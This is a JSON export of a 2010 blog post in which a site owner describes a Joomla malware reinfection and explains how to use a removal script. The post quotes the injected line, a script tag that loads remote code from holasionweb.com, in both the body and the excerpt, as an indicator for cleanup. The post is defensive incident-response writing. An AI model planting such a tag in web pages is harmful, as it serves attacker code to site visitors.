{"id":78,"date":"2010-05-12T14:44:47","date_gmt":"2010-05-12T19:44:47","guid":{"rendered":"http:\/\/www.danielansari.com\/wordpress\/?p=78"},"modified":"2010-08-20T08:29:49","modified_gmt":"2010-08-20T13:29:49","slug":"holasionwebcom","status":"publish","type":"post","link":"http:\/\/www.danielansari.com\/wordpress\/2010\/05\/holasionwebcom\/","title":{"rendered":"holasionweb.com"},"content":{"rendered":"

One of my Joomla sites on shared GoDaddy hosting got re-infected this morning with this malware, which runs this script from every php file that it infects:<\/p>\n

<script src=”http:\/\/holasionweb.com\/oo.php”><\/script><\/p>\n

Interestingly, none of my other GoDaddy sites have got infected yet (and this blog is running an older version of WordPress), including one other Joomla site on the same server.<\/p>\n

I modified my Gumblar removal script and added a regular expression to remove this malware.\u00a0 It can be downloaded here<\/a>.<\/p>\n

Unlike the script at Securi.net (at the time of writing), this script does not leave a blank line at the top of your files, thus, you won’t get any errors from your web applications – it leaves your files in exactly the same state as before the infection.\u00a0 It also saves your original infected file with a .bak extension, just in case you need to keep the originals for some reason.\u00a0 These can be deleted later, and will not affect your site.<\/p>\n

Instructions for use<\/h4>\n
    \n
  1. Place the file scan_files.php at your web document root.<\/li>\n
  2. Invoke it with no parameters to run it in report mode, where no modifications will be made.\u00a0 For the non-technical users, the address would be http:\/\/www.example.com\/scan_files.php<\/li>\n
  3. Use scan_files.php?v=1 to run it in verbose mode.<\/li>\n
  4. Use scan_files.php?u=1 to run it in update mode, where the modifications will actually be made.<\/li>\n
  5. Use scan_files.php?u=1&v=1 to run it in both update and verbose modes.<\/li>\n<\/ol>\n

    Notes:<\/p>\n

      \n
    • The script skips files greater than approx 1 MB in size.<\/li>\n
    • If the path to the file ends with \/images\/image.php or \/images\/gifimg.php, the script deletes it in update mode.\u00a0 That’s because this was\u00a0one of the\u00a0signatures of the Gumblar malware.<\/li>\n<\/ul>\n

      Update (Aug 19, 2010): I added another script in scan_files.zip\u2014that is delete_infected_backups.php.\u00a0 In order to delete the .bak files:<\/p>\n

        \n
      1. Place the file delete_infected_backups.php at your web document root.<\/li>\n
      2. Invoke it with no parameters to run it in report mode, where no modifications will be made.\u00a0 For the non-technical users, the address would be http:\/\/www.example.com\/delete_infected_backups.php<\/li>\n
      3. Use delete_infected_backups.php?u=1 to run it in update mode, where the .bak files will actually be deleted.<\/li>\n
      4. The script deletes all files with names ending in:\n
          \n
        • .html.bak<\/li>\n
        • .htm.bak<\/li>\n
        • .shtml.bak<\/li>\n
        • .js.bak<\/li>\n
        • .php.bak<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"

          One of my Joomla sites on shared GoDaddy hosting got re-infected this morning with this malware, which runs this script from every php file that it infects: <script src=”http:\/\/holasionweb.com\/oo.php”><\/script> Interestingly, none of my other GoDaddy sites have got infected yet (and this blog is running an older version of WordPress), including one other Joomla site […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[9],"tags":[],"_links":{"self":[{"href":"http:\/\/www.danielansari.com\/wordpress\/wp-json\/wp\/v2\/posts\/78"}],"collection":[{"href":"http:\/\/www.danielansari.com\/wordpress\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.danielansari.com\/wordpress\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.danielansari.com\/wordpress\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.danielansari.com\/wordpress\/wp-json\/wp\/v2\/comments?post=78"}],"version-history":[{"count":13,"href":"http:\/\/www.danielansari.com\/wordpress\/wp-json\/wp\/v2\/posts\/78\/revisions"}],"predecessor-version":[{"id":81,"href":"http:\/\/www.danielansari.com\/wordpress\/wp-json\/wp\/v2\/posts\/78\/revisions\/81"}],"wp:attachment":[{"href":"http:\/\/www.danielansari.com\/wordpress\/wp-json\/wp\/v2\/media?parent=78"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.danielansari.com\/wordpress\/wp-json\/wp\/v2\/categories?post=78"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.danielansari.com\/wordpress\/wp-json\/wp\/v2\/tags?post=78"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}